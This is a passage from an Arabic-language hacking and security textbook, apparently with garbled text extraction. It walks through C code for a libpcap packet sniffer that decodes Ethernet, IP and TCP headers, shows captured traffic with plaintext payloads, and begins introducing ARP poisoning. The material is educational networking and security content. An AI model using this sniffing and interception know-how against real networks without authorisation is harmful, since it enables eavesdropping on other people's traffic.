‫ال‬ ‫بعمل‬ ‫تقوم‬
Decoding
‫ال‬ ‫هلذا‬
Header
.
(
ُ‫ن‬‫س‬
‫ال‬ ‫ذذا‬ ‫شاذد‬
Header
‫من‬ ‫الثالث‬ ‫اجلزء‬ ‫يف‬ ‫بالتفصيل‬
‫الكود‬
)
.
‫ولكن‬
‫بال‬ ‫اإلنتقال‬ ‫عملية‬ ‫تتم‬ ‫كيف‬ ‫لك‬ ‫أوضح‬ ‫دعني‬
Pointer
‫سمى‬ُ‫مل‬‫ا‬
packet
،!ً‫ا‬‫أيض‬
‫ال‬ ‫داطل‬
Packet
‫ل‬ُ‫مل‬‫ا‬
َ‫ط‬َ‫ق‬َ‫ت‬
‫ة‬
ُ‫ه‬ُ‫ت‬‫م‬‫ه‬َ‫ق‬ ‫كام‬
‫أنا‬
!
..
‫ال‬ ‫برنامج‬ ‫لىل‬ ‫سأذذب‬
paint
..‫قليل‬ ‫بعد‬ ‫لليك‬ ‫وأعود‬
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[213]
..!‫دنا‬ُ‫ع‬
‫ال‬ ‫أن‬ ‫ترى‬ ‫كام‬
decode_ethernet( )
‫ال‬ ‫بداية‬ ‫يف‬ ‫تقف‬ ‫ألن‬ ‫حتتاج‬
Packet
‫ال‬ ‫قتضع‬
Pointer
.‫بدايتها‬ ‫يف‬
ً‫ة‬‫مر‬ ‫ذاذي‬
:‫أطرى‬
decode_ethernet(packet);
‫نأيت‬
‫لىل‬
decode_ip( )
decode_ip(packet+ETHER_HDR_LEN);
‫ال‬ ‫بتحريك‬ ‫ذذه‬ ‫ستقوم‬
Pointer
‫ال‬ ‫بداية‬ ‫عند‬ ‫ليكون‬
IP Header
،
‫ال‬ ‫يكون‬ ‫وبالتايل‬
Argument
‫قوق‬ ‫ترى‬ ‫كام‬
.
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[214]
ُ‫ت‬ ً‫ا‬‫أيض‬ ‫وذذه‬
‫عمل‬ ‫ريد‬
decode
‫لل‬
TCP Header
..
‫ال‬ ‫بتحريك‬ ‫قستقوم‬
Pointer
‫ال‬ ‫بداية‬ ‫لىل‬
Address of TCP Header
.
tcp_header_length =
decode_tcp(packet + ETHER_HDR_LEN + sizeof(struct ip_hdr));
‫ال‬ ‫ذذه‬ ‫أن‬ ‫الحظ‬
function
‫بصيغة‬ ‫قيمة‬ ‫لنا‬ ‫جع‬ ُ
‫سرت‬ ‫بالذات‬
int
:‫بإسم‬
tcp_header_length
‫الباقني‬ ‫بعكس‬
.
‫ال‬ ‫معرقة‬ ‫نريد‬ ‫واآلن‬
Length of data
‫ال‬ ‫باستخدام‬ ‫طباعتها‬ ‫لنا‬ ‫يتسنى‬ ‫كي‬ ‫بمفردذا‬
Dump( )
،
‫األسطر‬
‫التالية‬
‫س‬
‫ت‬
‫وضح‬
‫لنا‬
:‫العملية‬ ‫ذذه‬
total_header_size =
ETHER_HDR_LEN + sizeof(struct ip_hdr) + tcp_header_length;
‫لل‬ ‫الكيل‬ ‫احلجم‬ ‫حساب‬ ‫يتم‬
Header
‫يف‬ ‫ووضعه‬
Local Variable
‫ال‬ ‫داطل‬ ‫تعريفه‬ ‫تم‬ ‫الذي‬
Caught_packet( )
..
‫ال‬ ‫حجم‬ ‫من‬ ُ‫ه‬‫ح‬ َ‫َطر‬‫ن‬ ‫م‬ُ‫ث‬
packet
.‫ُيل‬‫ك‬‫ال‬
/*pkt_data points to the data portion.*/
pkt_data = (u_char *)packet + total_header_size;
‫ال‬ ‫بتجهيز‬ ‫نا‬ُ‫ذ‬ ‫نقوم‬
pointer
‫ى‬‫سم‬ُ‫مل‬‫ا‬
pkt_data
‫ال‬ ‫بداية‬ ‫لىل‬ ‫شري‬ُ‫ي‬‫ل‬
data
‫ال‬ ‫بداطل‬
packet
َ‫ط‬َ‫ق‬‫لت‬ُ‫مل‬‫ا‬
‫ة‬
،
‫سيكون‬ ‫وبالطبع‬
‫نوع‬ ‫من‬
unsigned char
‫ال‬ ‫تستطيع‬ ‫كي‬
Dump( )
‫م‬ ‫ل‬ُ‫م‬‫التعا‬
.‫عه‬
pkt_data_len = cap_header->len - total_header_size;
‫ال‬ ‫ذذا‬
local variable
‫ال‬ ‫بداطله‬ ‫سيحمل‬
"
length of data
"
!‫ققط‬
..
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[215]
‫ال‬ ‫طرح‬ ‫بعد‬ ‫وذلك‬
"
length of total header
"
‫ال‬ ‫من‬
"
length of packet
."
‫ال‬ ‫كون‬َ‫ي‬ َ
‫وس‬
Argument
‫لل‬ ‫الثانية‬
Dump( )
‫كام‬
:‫ييل‬
if(pkt_data_len > 0) {
printf("ttt%u bytes of packet datan", pkt_data_len);
dump(pkt_data, pkt_data_len);
} else
printf("tttNo Packet Datan");
‫ال‬ ‫ذذا‬ ‫من‬ ‫الثاين‬ ‫اجلزء‬ ‫توضيح‬ ‫من‬ ‫انتهينا‬ ‫نكون‬ ‫ذنا‬ ‫لىل‬
Sniffer
.
‫واآل‬
‫ا‬ ‫دور‬ ‫جاء‬ ‫ن‬
‫الكود‬ ‫من‬ ‫الثالث‬ ‫جلزء‬
:
‫اإل‬ ‫نا‬َ‫ل‬ ‫وضح‬ُ‫ي‬ َ
‫س‬
‫ِبا‬ ‫تقوم‬ ‫التي‬ ‫التفصيلية‬ ‫جراءات‬
‫الثالث‬
functions
:‫التالية‬
void decode_ethernet(const u_char *);
void decode_ip(const u_char *);
u_int decode_tcp(const u_char *);
‫نظر‬ ‫ُلق‬‫ن‬‫ل‬
‫ة‬
:‫الكود‬ ‫بقية‬ ‫عىل‬
void decode_ethernet(const u_char *header_start) {
int i;
const struct ether_hdr *ethernet_header;
ethernet_header = (const struct ether_hdr *)header_start;
printf("[[ Layer 2 :: Ethernet Header ]]n");
printf("[ Source: %02x", ethernet_header->ether_src_addr[0]);
for(i=1; i < ETHER_ADDR_LEN; i++)
printf(":%02x", ethernet_header->ether_src_addr[i]);
printf("tDest: %02x", ethernet_header->ether_dest_addr[0]);
for(i=1; i < ETHER_ADDR_LEN; i++)
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[216]
printf(":%02x", ethernet_header->ether_dest_addr[i]);
printf("tType: %hu ]n", ethernet_header->ether_type);
}
void decode_ip(const u_char *header_start) {
const struct ip_hdr *ip_header;
ip_header = (const struct ip_hdr *)header_start;
printf("t(( Layer 3 ::: IP Header ))n");
printf("t( Source: %st", inet_ntoa(ip_header->ip_src_addr));
printf("Dest: %s )n", inet_ntoa(ip_header->ip_dest_addr));
printf("t( Type: %ut", (u_int) ip_header->ip_type);
printf("ID: %hutLength: %hu )n", ntohs(ip_header->ip_id),
ntohs(ip_header->ip_len));
}
u_int decode_tcp(const u_char *header_start) {
u_int header_size;
const struct tcp_hdr *tcp_header;
tcp_header = (const struct tcp_hdr *)header_start;
header_size = 4 * tcp_header->tcp_offset;
printf("tt{{ Layer 4 :::: TCP Header }}n");
printf("tt{ Src Port: %hut",
ntohs(tcp_header->tcp_src_port));
printf("Dest Port: %hu }n", ntohs(tcp_header->tcp_dest_port));
printf("tt{ Seq #: %ut", ntohl(tcp_header->tcp_seq));
printf("Ack #: %u }n", ntohl(tcp_header->tcp_ack));
printf("tt{ Header Size: %utFlags: ", header_size);
if(tcp_header->tcp_flags & TCP_FIN)
printf("FIN ");
if(tcp_header->tcp_flags & TCP_SYN)
printf("SYN ");
if(tcp_header->tcp_flags & TCP_RST)
printf("RST ");
if(tcp_header->tcp_flags & TCP_PUSH)
printf("PUSH ");
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[217]
if(tcp_header->tcp_flags & TCP_ACK)
printf("ACK ");
if(tcp_header->tcp_flags & TCP_URG)
printf("URG ");
printf(" }n");
return header_size;
}
‫ن‬
‫بدأ‬
‫أول‬ ‫برشح‬
function
،
‫ال‬ ‫وذي‬
decode_ethernet( )
void decode_ethernet(const u_char *header_start) {
int i;
‫ال‬ ‫ذذه‬ ‫ذ‬ ُ
‫تأط‬
function
‫ال‬
Packet
‫ك‬
Argument
‫وذو‬ ،
pointer
‫ال‬ ‫بداية‬ ‫لىل‬ ‫شري‬ُ‫ي‬
packet
‫ال‬ ‫حيث‬
Ethernet
header
.
‫تغري‬ُ‫م‬ ‫قنا‬‫ر‬َ‫ع‬ ‫م‬ُ‫ث‬
(
i
)
‫وذو‬
local
‫ال‬ ‫هلذه‬
function
.
const struct ether_hdr *ethernet_header;
‫اشتققنا‬ ‫م‬ُ‫ث‬
object
‫ال‬ ‫ذذا‬ ‫من‬
struct ether_hdr
‫ل‬
‫ال‬ ‫نفس‬ ‫ذ‬ ُ
‫يأط‬
Elements
‫ال‬ ‫ذذا‬ ‫بداطل‬ ‫التي‬
struct
.
‫ال‬ ‫ذذا‬ ‫تذكر‬ ‫ذل‬
Struct
‫؟‬
:‫به‬ ‫ك‬ ُ‫ِّر‬‫ك‬‫ذ‬ُ‫أ‬‫س‬
#define ETHER_ADDR_LEN 6
#define ETHER_HDR_LEN 14
struct ether_hdr {
unsigned char ether_dest_addr[ETHER_ADDR_LEN]; //Dest. MAC
unsigned char ether_src_addr[ETHER_ADDR_LEN]; // Source MAC
unsigned short ether_type; // Type of Ethernet packet
};
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[218]
‫الكود‬ ‫ل‬‫ُكم‬‫ن‬‫ل‬
..
ethernet_header = (const struct ether_hdr *)header_start;
‫ال‬ ‫نا‬ُ‫ذ‬ ‫ُخرب‬‫ن‬‫س‬
object
‫ال‬ ‫يمأل‬ ‫بأن‬ ‫ذذا‬
elements
‫املوجود‬ ‫بالبيانات‬ ‫بداطله‬ ‫التي‬
‫ة‬
‫ال‬ ‫يف‬
Ethernet header
‫ال‬ ‫داطل‬
packet
‫التقاطها‬ ‫تم‬ ‫التي‬
.
printf("[[ Layer 2 :: Ethernet Header ]]n");
printf(“[ Source: %02x”, ethernet_header->ether_src_addr[0]);
for(i=1; I < ETHER_ADDR_LEN; i++)
printf(“:%02x”, ethernet_header->ether_src_addr[i]);
‫ا‬ ‫نا‬ُ‫ذ‬ ‫تقوم‬
‫ل‬
printf( )
‫ال‬ ‫بطباعة‬
"
Source MAC Address
."
‫ال‬ ‫لىل‬ ‫أرشنا‬ ‫ققد‬
element
‫ال‬ ‫داطل‬ ‫عنه‬ ِّ
‫رب‬َ‫ع‬ُ‫ي‬ ‫الذي‬
struct
،
‫ال‬ ‫كتابة‬ ‫تتم‬
MAC
‫عمل‬ ‫طريق‬ ‫عن‬
loop
‫بأول‬ ‫تبدأ‬
byte
‫بال‬ ‫وتنتهي‬
byte
‫رقم‬
6
‫األطري‬ ‫وذو‬
.
printf("tDest: %02x", ethernet_header->ether_dest_addr[0]);
for(i=1; i < ETHER_ADDR_LEN; i++)
printf(":%02x", ethernet_header->ether_dest_addr[i]);
printf("tType: %hu ]n", ethernet_header->ether_type);
}
‫ال‬ ‫بطباعة‬ ‫لنقوم‬ ً‫ا‬‫أيض‬ ‫نا‬ُ‫ذ‬ ‫األمر‬ ‫نفس‬ ‫ُكرر‬‫ن‬
"
Destination MAC Address
."
‫بطباعة‬ ‫سيقوم‬ ‫سطر‬ ‫آطر‬ ‫ثم‬
"
Type of packet
"
‫ال‬ ‫وذو‬
element
‫ال‬ ‫داطل‬ ‫األطري‬
Struct
.
‫س‬
‫ن‬
‫ال‬ ‫ذذا‬ ‫عن‬ ً‫ال‬‫قلي‬ ‫تكلم‬
field
..
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[219]
‫الشكل‬
‫التايل‬
‫ال‬ ‫يوضح‬
Frame
‫ال‬ ‫يف‬
Data-Link Layer
،
‫ال‬ ‫عىل‬ ‫الرتكيز‬ ‫ُريد‬‫ن‬
MAC Header
،
‫ال‬ ً‫ا‬‫صوص‬ ُ
‫وط‬
Ether Type
‫ال‬ ‫ذذا‬ ‫لليه‬ ‫شري‬ُ‫ي‬ ‫ما‬ ‫لخص‬ُ‫م‬ ‫ذذا‬
field
:
The two-octet EtherType field in an Ethernet frame, preceded by destination and source MAC
addresses, that identifies an upper layer protocol encapsulating the frame data. For example, an
EtherType value of 0x0800 signals that the frame contains an IPv4 datagram. Likewise, an
EtherType of 0x0806 indicates an ARP frame, 0x8100 indicates an IEEE 802.1Q frame
‫لل‬ ‫بالنسبة‬
function
‫الثانية‬
:
decode_ip( )
‫ال‬ ‫يف‬ ‫ا‬‫ِب‬ ‫منا‬ُ‫ق‬ ‫التي‬ ‫األمور‬ ‫بنفس‬ ‫سنقوم‬
function
‫السابق‬
‫ة‬
‫ال‬ ‫عىل‬ ‫نظرة‬ ‫للقاء‬ ‫ُك‬‫ن‬‫مك‬ُ‫ي‬ .
struct
..‫بإنشائه‬ ‫منا‬ُ‫ق‬ ‫الذي‬
‫بال‬ ‫اخلاص‬
IP Header
.‫بل‬َ‫ق‬ ‫ن‬‫م‬
‫م‬ُ‫ق‬
‫بإنشاء‬ ‫نا‬
object
‫بإسم‬ ً‫ا‬‫أيض‬
ip_header
‫ال‬ ‫من‬
"
struct ip_hdr
"
‫ال‬ ‫نفس‬ ‫ذ‬ ُ
‫يأط‬‫ل‬
elements
‫اخلاص‬
‫ة‬
.‫به‬
ُ‫ه‬‫أن‬ ‫الحظ‬
‫ال‬ ‫رض‬َ‫ع‬‫ب‬ ‫منا‬ُ‫ق‬ ‫عندما‬
"
Source and Destination IP Addresses
"
‫ال‬ ‫استخدمنا‬
function
‫ذذه‬ ‫نا‬َ‫ل‬ ‫ل‬ِّ‫و‬َ ُ
‫حت‬ ‫التي‬
‫ال‬ ‫من‬ ‫العناوين‬
Network type
‫ال‬ ‫لىل‬
"
ASCII Dotted notation
."
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[220]
:‫ر‬ُ‫ط‬‫األس‬ ‫هلذه‬ ‫نأيت‬
printf("t( Type: %ut", (u_int) ip_header->ip_type);
printf("ID: %hutLength: %hu )n", ntohs(ip_header->ip_id),
ntohs(ip_header->ip_len));
.‫الربوتوكول‬ ‫نوع‬ ‫عرض‬ ‫يتم‬ ‫سطر‬ ‫أول‬ ‫يف‬
‫ال‬ ‫ذذا‬
field
‫ال‬ ‫يف‬ ‫املوجود‬
IPv4 Header
‫يوضح‬
،‫َخدم‬‫ت‬‫س‬ُ‫مل‬‫ا‬ ‫الربوتوكول‬ ‫نوع‬ ‫لنا‬
‫لل‬ ‫شار‬ُ‫ي‬ ً‫ال‬‫قمث‬
TCP
‫برقم‬
6
‫و‬ ،
‫ال‬ ‫لىل‬ ‫شار‬ُ‫ي‬
UDP
‫برقم‬
17
‫ال‬ ‫و‬ ،
ICMP
‫برقم‬
1
.
..‫وذكذا‬
‫الرمز‬ ‫استخدمنا‬
(->)
‫ال‬ ‫لىل‬ ‫ُشري‬‫ن‬‫ل‬
Element
‫ال‬ ‫بنوع‬ ‫اخلاص‬
IP
‫ال‬ ‫ل‬‫داط‬ ‫املوجود‬
IP Header Structure
،
‫يف‬ ‫م‬ُ‫ث‬
‫ال‬ ‫نطبع‬ ‫الثاين‬ ‫السطر‬
ID
،
‫يف‬
‫احلقيق‬
‫ة‬
‫ال‬ ‫ذذا‬ ‫م‬َ‫ستخد‬ُ‫ي‬
field
‫إلرسال‬ ‫تنا‬‫غب‬َ‫ر‬ ‫حالة‬ ‫يف‬
Packet
‫لقطع‬ ‫تقطيعها‬ ‫قيتم‬ ،‫كبرية‬
packets
‫صغري‬
‫ة‬
‫ال‬ ‫ذذا‬ ‫قنستخدم‬ ،‫ولرساهلم‬
field
‫مع‬
field
‫ال‬ ‫وذو‬ ‫ر‬ َ
‫آط‬
fragmentation
.
‫ال‬ ‫بني‬ ‫القة‬‫ع‬ ‫ناك‬ُ‫ذ‬ ‫كان‬ ‫لذا‬ ‫ما‬ ‫ُد‬‫ك‬‫للتأ‬ ‫الكود‬ ‫نتائج‬ ‫يف‬ َ‫ر‬َ‫ه‬َ‫ظ‬ ‫بام‬ُ‫ر‬
packets
‫ببع‬ ‫لتقطه‬ُ‫مل‬‫ا‬
.‫ضها‬
‫يف‬ ‫استخدمنا‬ ‫أننا‬ ‫الحظ‬
‫ال‬ ‫والثالث‬ ‫الثاين‬ ‫السطر‬
function
‫ال‬ ‫من‬ ‫نا‬َ‫ل‬ ‫ل‬ِّ‫و‬ ُ
‫حت‬ ‫التي‬
network byte order
‫لىل‬
‫ال‬
Host byte order
.
‫ال‬ ‫ذذه‬ ‫دور‬ ‫يأيت‬ ً‫ا‬‫أطري‬
function
:
‫وذي‬
decode_tcp( )
u_int decode_tcp(const u_char *header_start) {
u_int header_size;
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[221]
‫ربنا‬ ُ
‫خي‬
‫ال‬ ‫أن‬ ‫البداية‬ ‫يف‬
return type
‫ال‬ ‫ِبذه‬ ‫اخلاص‬
function
‫نوعه‬
unsigned integer
‫ال‬ ‫ذذه‬ ‫يف‬ ‫سطر‬ ‫آطر‬ ‫يف‬ ‫ستظهر‬ ‫وقيمته‬
function
:‫ذو‬ ‫ذا‬.. ،
return header_size;
‫ال‬ ‫ذذا‬
return value
‫ال‬ ‫لىل‬ ‫سيذذب‬
"
tcp_header_length
"
:‫به‬ َ‫ك‬ ُ‫ِّر‬‫ك‬‫ذ‬ُ‫أ‬‫س‬..
tcp_header_length =
decode_tcp(packet + ETHER_HDR_LEN + sizeof(struct ip_hdr));
‫ث‬ُ‫سيحد‬ ُ‫ه‬‫أن‬ ‫يعني‬ ‫السطر‬ ‫ذذا‬
Call
‫ل‬
function
‫ال‬ ‫ذي‬
decode_tcp( )
،
‫ذ‬ ُ
‫ستأط‬
Argument
،
‫ال‬ ‫وتفكيك‬ ‫حساب‬‫ب‬ ‫تقوم‬‫ل‬ ،!)‫القوسني‬ ‫بني‬ ‫الذي‬ ‫الطويل‬ ‫اليشء‬ ‫ذذا‬ ‫(ذي‬
TCP Header
،
‫نا‬َ‫ل‬ ‫ع‬‫ج‬ ُ
‫رت‬ َ
‫س‬ ‫النهاية‬ ‫ويف‬
‫قيمة‬
“return value”
‫ال‬ ‫وذي‬
header_size
.
‫ن‬َ‫أ‬ ‫حب‬ُ‫أ‬ ‫بسيط‬ ‫يشء‬ ‫باستثناء‬ ،‫رام‬ُ‫ي‬‫ما‬ ‫عىل‬ ‫مور‬ُ‫أل‬‫ا‬ ‫قية‬َ‫ب‬ ‫تسري‬ ‫م‬ُ‫ث‬
:‫لك‬ ُ‫ه‬‫وضح‬ُ‫أ‬
:‫السطر‬ ‫ذذا‬ ‫معي‬ ‫تأمل‬
header_size = 4 * tcp_header->tcp_offset;
‫به؟‬ ‫نعني‬ ‫ماذا‬
:‫يقول‬ ُ‫ه‬‫لن‬
4 bytes * offset field
‫ال‬ ‫ذذه‬
4 bytes
‫رضي‬َ‫ع‬‫ال‬ ‫الرشحية‬ ‫ذي‬
‫ة‬
‫لل‬
TCP Header
‫ال‬ ‫أن‬ ‫نعلم‬ ‫قكام‬ ،
Header
‫غ‬ُ‫ل‬‫يب‬ ،‫رشائح‬ ‫عدة‬ ‫من‬ ‫يتكون‬
‫رشحية‬ ‫كل‬ ‫عرض‬
4 bytes
.
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[222]
‫وال‬
offset field
‫ال‬ ‫ذذا‬ ‫يف‬ ‫ها‬ُ‫م‬‫استخدا‬ ‫رى‬ َ‫ج‬ ‫التي‬ ‫رضيه‬َ‫ع‬‫ال‬ ‫الرشائح‬ ‫عدد‬ ‫حيوي‬ ‫ذذا‬
Header
‫بساط‬ ‫ُل‬‫ك‬‫ب‬ ‫ذذا‬ ..
‫ة‬
‫ما‬
.‫عادلة‬ُ‫مل‬‫ا‬ ‫ذذه‬ ‫تعنيه‬
‫ال‬ ‫هلذا‬ ‫تعريف‬ ‫وذذا‬
field
‫ال‬ ‫من‬
RFC
‫بال‬ ‫اخلاصة‬
TCP Header
:
Data Offset: 4 bits
The number of 32 bit words in the TCP Header. This indicates where the
data begins. The TCP header (even one including options) is an integral number
of 32 bits long.
‫ال‬ ‫ِبذا‬ ‫يتم‬ ‫وبالتايل‬
field
‫ال‬ ‫حتديد‬
"
TCP Header Length
."
‫ال‬ ‫ذذا‬ ‫رشح‬ ‫هناية‬ ‫لىل‬ ‫وصلنا‬ ‫قد‬ ‫ِبذا‬ ‫نكون‬
Sniffer
،
‫التجربة‬ ‫دور‬ َ‫ء‬‫جا‬ ‫واآلن‬
..
‫التارخيي‬ ‫اللحظة‬ ‫ذذه‬ ‫الستقبال‬ ‫استعد‬
‫ة‬

reader@hacking:~/booksrc $ gcc -o decode_sniff decode_sniff.c -lpcap
reader@hacking:~/booksrc $ sudo ./decode_sniff
Sniffing on device eth0
==== Got a 75 byte packet ====
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[223]
[[ Layer 2 :: Ethernet Header ]]
[ Source: 00:01:29:15:65:b6 Dest: 00:01:6c:eb:1d:50 Type: 8 ]
(( Layer 3 ::: IP Header ))
( Source: 192.168.18.1 Dest: 192.168.18.249 )
( Type: 6 ID: 7755 Length: 61 )
{{ Layer 4 :::: TCP Header }}
{ Src Port: 35602 Dest Port: 7890 }
{ Seq #: 2887045274 Ack #: 3843058889 }
{ Header Size: 32 Flags: PUSH ACK }
9 bytes of packet data
74 65 73 74 69 6e 67 0d 0a | testing..
==== Got a 66 byte packet ====
[[ Layer 2 :: Ethernet Header ]]
[ Source: 00:01:6c:eb:1d:50 Dest: 00:01:29:15:65:b6 Type: 8 ]
(( Layer 3 ::: IP Header ))
( Source: 192.168.18.249 Dest: 192.168.18.1 )
( Type: 6 ID: 15678 Length: 52 )
{{ Layer 4 :::: TCP Header }}
{ Src Port: 7890 Dest Port: 35602 }
{ Seq #: 3843058889 Ack #: 2887045283 }
{ Header Size: 32 Flags: ACK }
No Packet Data
==== Got a 82 byte packet ====
[[ Layer 2 :: Ethernet Header ]]
[ Source: 00:01:29:15:65:b6 Dest: 00:01:6c:eb:1d:50 Type: 8 ]
(( Layer 3 ::: IP Header ))
( Source: 192.168.18.1 Dest: 192.168.18.249 )
( Type: 6 ID: 7756 Length: 68 )
{{ Layer 4 :::: TCP Header }}
{ Src Port: 35602 Dest Port: 7890 }
{ Seq #: 2887045283 Ack #: 3843058889 }
{ Header Size: 32 Flags: PUSH ACK }
16 bytes of packet data
74 68 69 73 20 69 73 20 61 20 74 65 73 74 0d 0a | this is a test..
reader@hacking:~/booksrc $
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[224]
The conclusion
‫عمل‬ ‫تم‬ ‫كيف‬ ‫السابق‬ ‫املثال‬ ‫يف‬ ‫الحظنا‬
Decode
‫ال‬ ‫وعرض‬ ‫للطبقات‬
Headers
‫اخلاص‬
‫ة‬
‫طبق‬ ‫بكل‬
‫ة‬
‫ال‬ ‫ثم‬
Data
‫املوجود‬
‫ة‬
‫ال‬ ‫داطل‬
packet
‫لتقط‬ُ‫مل‬‫ا‬
‫ة‬
‫ال‬ ‫نستقبل‬ ‫كنا‬ ‫أننا‬ ‫أي‬ .
data
‫أسفل‬ ‫من‬
(Data-Link Layer)
‫عىل‬‫أل‬
(Application Layer)
،
‫ن‬ ‫الكود‬ ‫يف‬ ‫ُنا‬‫ك‬
‫حسب‬
‫طول‬
‫ال‬
Header
‫اخلاص‬
‫طبق‬ ‫بكل‬
‫ة‬
ُ‫ث‬
‫م‬
ُ‫ن‬
‫ال‬ ‫م‬ِّ‫ل‬ َ
‫س‬
packet
‫الطبقة‬ ‫لىل‬
‫تعلوذا‬ ‫التي‬
،
‫عملية‬ ‫أثناء‬ ‫العمل‬ ‫ِبذا‬ ‫نقوم‬
‫ال‬
“Decapsulation”
.
‫ال‬ ‫لنا‬ ‫تتبقى‬ ‫حتى‬ ‫نستمر‬
Data
‫الفعلي‬
‫ة‬
‫ال‬ ‫طرح‬ ‫بعد‬
Length
‫بجمي‬ ‫اخلاص‬
‫ال‬ ‫ع‬
Headers
‫قن‬
‫ال‬ ‫حمتويات‬ ‫عرض‬ ‫من‬ ‫تمكن‬
Headers
‫و‬
‫ال‬
Data
‫الشاش‬ ‫عىل‬
‫ة‬
.
‫األمر‬ ‫ذذا‬ ‫لك‬ ‫يوضح‬ ‫الشكل‬ ‫ذذا‬
:
‫ظلل‬ُ‫مل‬‫ا‬ ‫اجلزء‬ ‫الحظ‬
‫بالشكل‬
‫ال‬ ‫عن‬ ِّ
‫عرب‬ُ‫ي‬ ‫والذي‬ ،
Data
‫الطبقات‬ ‫بني‬ ‫نقلها‬ ‫يتم‬ ‫وكيف‬
،
‫كام‬ ‫عىل‬‫أل‬ ‫أسفل‬ ‫من‬ ‫كانت‬ ً‫ء‬‫سوا‬
.!‫العكس‬ ‫أم‬ ‫مثالنا‬ ‫يف‬
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[225]
If we analyze the figure, we see:
 The application layer sends the data (to be transferred to remote destination) to the transport
layer.
 The transport layer puts its header in the beginning and sends this complete packet
(TCP-header + app-data) to the IP layer.
 On the same lines, The IP layer puts its header in front of the data received from TCP
So now the structure of IP datagram becomes (IP-header + TCP-header + app-data).
 This IP datagram is passed to the ethernet layer which on the same lines adds its own header
to IP datagram and then the whole packet is transmitted over network.
On the destination host, the reverse process happens. This means that each layer reads its own
header in the packet and then strips the header so that finally application receives the app-data.
‫صاحب‬
:‫أسفلها‬ ‫والرشح‬ ‫الصورة‬
HIMANSHU ARORA
‫موقع‬ ‫من‬
thegeekstuff.com
‫اآلن‬ ‫سننطلق‬
‫ال‬ ‫قلسفة‬ ‫ف‬‫َش‬‫ت‬‫َك‬‫ن‬‫ل‬
"
ARP Poisoning
"
ARP Poisoning Attack
‫بال‬ ‫تعلقة‬ُ‫مل‬‫ا‬ ‫التفاصيل‬ ‫من‬ ‫العديد‬ ‫تفهم‬ ‫اآلن‬ َ
‫أنت‬
Packet Capturing
،
‫ُريد‬‫ن‬ ‫التي‬ ‫األمور‬ ‫بعض‬ ‫لنا‬ ‫يتبقى‬
‫احلديث‬ ‫نود‬
‫عنها‬
.
‫كال‬ ‫برنامج‬ ‫باستخدام‬ ‫نقوم‬ ‫عندما‬
WireShark
‫ال‬ ‫أو‬
TCPDump
‫ب‬ ‫لة‬‫تص‬ُ‫مل‬‫ا‬ ‫األجهزة‬ ‫أحد‬ ‫عىل‬
Switch
‫قهذا‬
‫ال‬ ‫ة‬َ‫ب‬َ‫ق‬‫را‬ُ‫م‬ ‫ن‬‫م‬ ‫كن‬َ‫نتم‬ َ
‫س‬ ‫أننا‬ ‫يعني‬
traffic
‫ل‬ ‫القادم‬
‫من‬ ‫الصادر‬ ‫أو‬ ‫لينا‬
‫عندنا‬
.
‫لك‬
‫ن‬
‫لن‬
‫ما‬ ‫مراقبة‬ ‫من‬ ‫نتمكن‬
‫ت‬
‫بقية‬ ُ‫ه‬‫فعل‬
‫ال‬ ‫نفس‬ ‫يف‬ ‫عنا‬َ‫م‬ ‫التي‬ ‫األجهزة‬
Broadcast Domain
!!
.
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[226]
‫ما‬ ‫توضح‬ ‫الصورة‬ ‫ذذه‬
‫ن‬
‫ال‬ ‫أن‬ ‫الحظ‬ ،‫عنيه‬
Sniffer
‫لديه‬
visibility
‫حمدود‬
‫ة‬
:
‫ال‬ ‫أن‬ ‫الشكل‬ ‫ذذا‬ ‫ربنا‬ ُ
‫خي‬
Sniffer
‫ال‬ ‫التقاط‬ ‫من‬ ‫سيتمكن‬ ‫ذذا‬
traffic
‫ال‬ ‫عرب‬ ‫املار‬
Port
!‫ققط‬ ‫له‬ ‫خصص‬ُ‫مل‬‫ا‬
‫ال‬ ‫أن‬ ‫وبام‬
Switch
‫يمتلك‬
CAM Table
‫ال‬ ‫ذذا‬ ‫عرب‬ ‫ل‬‫رس‬ُ‫ي‬ ‫قلن‬
port
‫ال‬ ‫لال‬
Traffic
‫ا‬
‫ه‬‫ج‬َ‫و‬ُ‫مل‬
‫ال‬ ‫لاىل‬
Sniffer
‫لن‬ ‫وبالتايل‬ ،‫ققط‬
.‫الشبكة‬ ‫يف‬ ُ‫ه‬‫حول‬ ‫ن‬َ‫م‬ ‫راقبة‬ُ‫م‬ ‫ن‬‫م‬ ‫يتمكن‬
‫باستخدام‬ ‫ذؤالء‬ ‫راقبة‬ُ‫م‬ ‫بإمكاننا‬ َ
‫الزال‬ ‫ن‬‫لك‬
‫طر‬
‫منها‬ ..‫أطرى‬ ‫ق‬
:
